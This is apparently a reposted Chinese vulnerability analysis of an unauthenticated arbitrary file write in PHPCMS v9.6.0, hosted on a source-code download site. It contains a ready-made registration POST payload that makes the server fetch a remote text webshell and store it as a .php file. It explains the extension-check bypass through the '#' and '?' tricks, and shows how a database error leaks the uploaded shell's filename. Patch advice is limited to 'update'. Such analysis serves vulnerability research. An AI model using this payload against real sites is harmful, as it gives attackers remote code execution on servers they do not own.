最新公告
  • 欢迎加入阿奇源码资源网团队,精品资源持续增加!立即加入我们
  • Phpcms V9.6.0任意文件写入getshell

    广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪
    广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪
    广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪

    0x00 漏洞简述

    1. 漏洞简介

    上周phpcms v9.6的任意文件上传的漏洞,已经潜伏半年多的一个漏洞。该漏洞可以在用户注册界面以未授权的情况下实现任意文件上传。

    2. 漏洞影响版本

    phpcms v9.6

    0x01 漏洞复现

    正常部署phpcms v9.6就好。

    复现过程中,可以在用户注册页面通过POST提交:

    siteid=1&modelid=1&username=123456&password=123456&[email protected]&info[content]=<img src=http://127.0.0.1/shell.txt?.php#.jpg>&dosubmit=1&protocol=

    src后面跟上自己shell的url。注意是要.txt格式写的shell。

    0x02 漏洞分析

    网上已经有逆向分析的过程,这次我来正向的分析一下这个洞。

    静态分析

    1. 文件上传部分

    首先看到用户注册的模块,位于phpcms/modules/member/index.phpregister方法中。

    代码很多,一点点往下看:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public function register() {
    $this->_session_start();
    //获取用户siteid
    $siteid = isset($_REQUEST['siteid']) && trim($_REQUEST['siteid']) ? intval($_REQUEST['siteid']) : 1;
    //定义站点id常量
    if (!defined('SITEID')) {
    define('SITEID', $siteid);
    }

    //加载用户模块配置
    $member_setting = getcache('member_setting');
    if(!$member_setting['allowregister']) {
    showmessage(L('deny_register'), 'index.php?m=member&c=index&a=login');
    }

    完成了对siteid的定义与注册功能是否开启的检验。注意到了$member_setting = getcache('member_setting');跟到phpcms/caches_member/member_setting.cache.php,看一下有关会员注册的设置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    return array (
    'allowregister' => '1',
    'choosemodel' => '1',
    'enablemailcheck' => '0',
    'registerverify' => '0',
    'showapppoint' => '0',
    'rmb_point_rate' => '10',
    'defualtpoint' => '0',
    'defualtamount' => '0',
    'showregprotocol' => '0',
    'regprotocol' => '省略等等信息'

    接下来就是对于post传过来的参数的获取,可以快速跟到130行,看到有我们可控的地方:

    1
    2
    3
    4
    5
    6
    7
    if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
    require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);
    }

    首先,对于modelid是可控的,也就是说member_input的模块调用是可控的。

    其次,就是将我们$_POST['info']的参数进行html实体编码,之后调用member_input中的get方法。跟一下,在phpcms/caches/caches_model/caches_data/member_input.class.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    function get($data) {
    $this->data = $data = trim_script($data);
    $model_cache = getcache('member_model', 'commons');
    $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

    $info = array();
    $debar_filed = array('catid','title','style','thumb','status','islink','description');
    if(is_array($data)) {
    foreach($data as $field=>$value) {
    if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
    $field = safe_replace($field);
    $name = $this->fields[$field]['name'];
    $minlength = $this->fields[$field]['minlength'];
    $maxlength = $this->fields[$field]['maxlength'];
    $pattern = $this->fields[$field]['pattern'];
    $errortips = $this->fields[$field]['errortips'];
    if(empty($errortips)) $errortips = "$name 不符合要求!";
    $length = empty($value) ? 0 : strlen($value);
    if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
    if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
    if($maxlength && $length > $maxlength && !$isimport) {
    showmessage("$name 不得超过 $maxlength 个字符!");
    } else {
    str_cut($value, $maxlength);
    }
    if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
    if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
    $func = $this->fields[$field]['formtype'];
    if(method_exists($this, $func)) $value = $this->$func($field, $value);

    $info[$field] = $value;
    }
    }
    return $info;

    看到$func = $this->fields[$field]['formtype'];,这里的$this->fields可以在构造函数中找到:

    1
    $this->fields = getcache('model_field_'.$modelid,'model');

    可控,默认的$modelid是1,跟着看一下phpcms/caches/caches_model/caches_data/member_input.class.php,看一下formtype的值,大致有下面这么多种:

    • catid
    • typeid
    • title
    • keyword
    • copyfrom
    • textarea
    • datetime
    • editor
    • image
    • omipotent
    • pages
    • posid
    • groupid
    • islink
    • text
    • number
    • template
    • box
    • readpoint

    同时对比member_input.class.php中的方法,只有:

    • textarea
    • editor
    • box
    • images
    • datetime

    看一下每一个方法,其中与文件操作有关的,只有editor方法,记一下formtype=editor的field的名字content

    现在着重来看一下editor方法:

    1
    2
    3
    4
    5
    6
    7
    8
    function editor($field, $value) {
    $setting = string2array($this->fields[$field]['setting']);
    $enablesaveimage = $setting['enablesaveimage'];
    $site_setting = string2array($this->site_config['setting']);
    $watermark_enable = intval($site_setting['watermark_enable']);
    $value = $this->attachment->download('content', $value,$watermark_enable);
    return $value;
    }

    关键在于$value = $this->attachment->download('content', $value,$watermark_enable);

    跟踪$this->attachment->download,回看构造函数,也就是跟踪phpcms/libs/classes/attachment.class.php中的download方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
    {
    global $image_d;
    $this->att_db = pc_base::load_model('attachment_model');
    $upload_url = pc_base::load_config('system','upload_url');
    $this->field = $field;
    $dir = date('Y/md/');
    $uploadpath = $upload_url.$dir;
    $uploaddir = $this->upload_root.$dir;
    $string = new_stripslashes($value);
    if(!preg_match_all("/(href|src)=([/"|']?)([^ /"'>]+/.($ext))//2/i", $string, $matches)) return $value;
    $remotefileurls = array();
    foreach($matches[3] as $matche)
    {
    if(strpos($matche, '://') === false) continue;
    dir_create($uploaddir);
    $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
    }
    unset($matches, $string);
    $remotefileurls = array_unique($remotefileurls);
    $oldpath = $newpath = array();
    foreach($remotefileurls as $k=>$file) {
    if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
    $filename = fileext($file);
    $file_name = basename($file);
    $filename = $this->getname($filename);

    $newfile = $uploaddir.$filename;
    $upload_func = $this->upload_func;
    if($upload_func($file, $newfile)) {
    $oldpath[] = $k;
    $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
    @chmod($newfile, 0777);
    $fileext = fileext($filename);
    if($watermark){
    watermark($newfile, $newfile,$this->siteid);
    }
    $filepath = $dir.$filename;
    $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
    $aid = $this->add($downloadedfile);
    $this->downloadedfiles[$aid] = $filepath;
    }
    }
    return str_replace($oldpath, $newpath, $value);
    }

    接下来看到这串正则:

    1
    if(!preg_match_all("/(href|src)=([/"|']?)([^ /"'>]+/.($ext))//2/i", $string, $matches)) return $value;

    作用就是检测后缀名,如果不是gif|jpg|jpeg|bmp|png格式的,就是返回原url,直接退出。这边可以直接绕过:

    phpcms1

    继续向下,看到:

    1
    2
    3
    4
    5
    6
    foreach($matches[3] as $matche)
    {
    if(strpos($matche, '://') === false) continue;
    dir_create($uploaddir);
    $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
    }

    这里的$matches[3]就是http://127.0.0.1/shell.txt.php.jpg

    又经过了fillurl方法的处理,跟进去看一下,看到关键的地方:

    1
    2
    3
    4
    $BaseUrlPath = preg_replace("///([^//]*)/.(.*)$/",'/',$BaseUrlPath);
    $BaseUrlPath = preg_replace("///$/",'',$BaseUrlPath);
    $pos = strpos($surl,'#');
    if($pos>0) $surl = substr($surl,0,$pos);
    phpcms2

    $BaseUrlPath='/127.0.0.1/shell.txt.php.jpg'

    下一个正则将/去掉,以方便后面的操作:

    $BaseUrlPath='127.0.0.1shell.txt.php.jpg'

    接下来看到对于url进行了一个关键的处理:

    1
    2
    $pos = strpos($surl,'#');
    if($pos>0) $surl = substr($surl,0,$pos);

    也就是说如果我们构造一个类似于http://127.0.0.1/shell.txt.php#.jpg

    再对url进行重组后:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    else {
    $preurl = strtolower(substr($surl,0,6));
    if(strlen($surl)<7)
    $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
    elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
    $okurl = $surl;
    else
    $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
    }

    最后返回的$surl=http://127.0.0.1/shell.txt.php并且同时满足前面对于后缀名的限制。

    回到download方法中,接下来的操作对文件名进行了重组:

    1
    2
    3
    4
    5
    6
    7
    foreach($remotefileurls as $k=>$file) {
    if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
    $filename = fileext($file);
    $file_name = basename($file);
    $filename = $this->getname($filename);

    $newfile = $uploaddir.$filename;

    首先在这里截取最后一个.之后的后缀作为后缀名:

    1
    2
    3
    function fileext($filename) {
    return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
    }

    最终的文件名就变成了.php结尾的文件。

    之后,$upload_func = $this->upload_func;,而$this->upload_func = 'copy';。即调用copy方法进行远程文件下载。

    2. 上传路径部分

    看一下我们上传的文件的命名情况:

    1
    2
    3
    function getname($fileext){
    return date('Ymdhis').rand(100, 999).'.'.$fileext;
    }

    上传的路径:

    1
    uploadpath = $upload_url.$dir;

    1
    'upload_path' => PHPCMS_PATH.'uploadfile/',

    上传路径就是uploadfile/年月日时间具体到秒+3位100-999的随机数+文件后缀

    这样看,其实可以直接写脚本对文件名进行枚举。

    有没有更简单的方法呢?有。

    回到register方法中,向下看:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    if(pc_base::load_config('system', 'phpsso')) {
    $this->_init_phpsso();
    $status = $this->client->ps_member_register($userinfo['username'], $userinfo['password'], $userinfo['email'], $userinfo['regip'], $userinfo['encrypt']);
    if($status > 0) {
    $userinfo['phpssouid'] = $status;
    //传入phpsso为明文密码,加密后存入phpcms_v9
    $password = $userinfo['password'];
    $userinfo['password'] = password($userinfo['password'], $userinfo['encrypt']);
    $userid = $this->db->insert($userinfo, 1);
    if($member_setting['choosemodel']) { //如果开启选择模型
    $user_model_info['userid'] = $userid;
    //插入会员模型数据
    $this->db->set_model($userinfo['modelid']);
    $this->db->insert($user_model_info);
    }

    也就是说会将$userid加入$user_model_info数组中再进行数据库的插入操作(会员新增操作,对应的v9_member_detail数据表):

    phpcms3

    只有两个字段,useridbirthday。但由于$user_model_info数组已经包含了我们之前构造提交的info[content]=xxxxxx的内容,而在插入数据库的时候又没有content字段,所以会导致数据库报错,从而将我们构造的xxxxxx的内容给回显出来,所以就不用暴力去破解文件名了。

    3. POC解释

    1
    siteid=1&modelid=1&username=123456&password=123456&[email protected]&info[content]=<img src=http://127.0.0.1/shell.txt?.php#.jpg>&dosubmit=1&protocol=

    ?后的.php被当做shell.txt的参数,所以复制的是shell.txt的内容。

    0x03 diff比较

    phpcms4

    简单粗暴的对处理后的文件后缀进行检测。

    0x04 修补方案

    更新吧

    0x05 最后吐槽一句

    顺便把phpcms的源码看了一下,发现phpcms对于安全性的验证真的是简单粗暴,只要是个交互的地方就要调一遍过滤函数,这样死板的做法,可能在安全上会有一些益处,但是势必会对以后的扩展造成阻碍。

    如果遇到资源下载失效,请复制当前文章链接类型客服处理!
    阿奇源码 » Phpcms V9.6.0任意文件写入getshell

    常见问题FAQ

    【点击查看】免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    【点击查看】提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    【点击查看】开通终身至尊下载源码 “不完整” 或 “不能用” 怎么办?
    非常抱歉,你有权利告诉本站,但是本站有选择处理或者不处理的权力,如无法接受请不要开通本站会员。
    【点击查看】开通终身会员能下载全站资源码?
    可以100%下载全站源码资源的,除部分失效资源,失效的可以联系客服尝试恢复。

    发表评论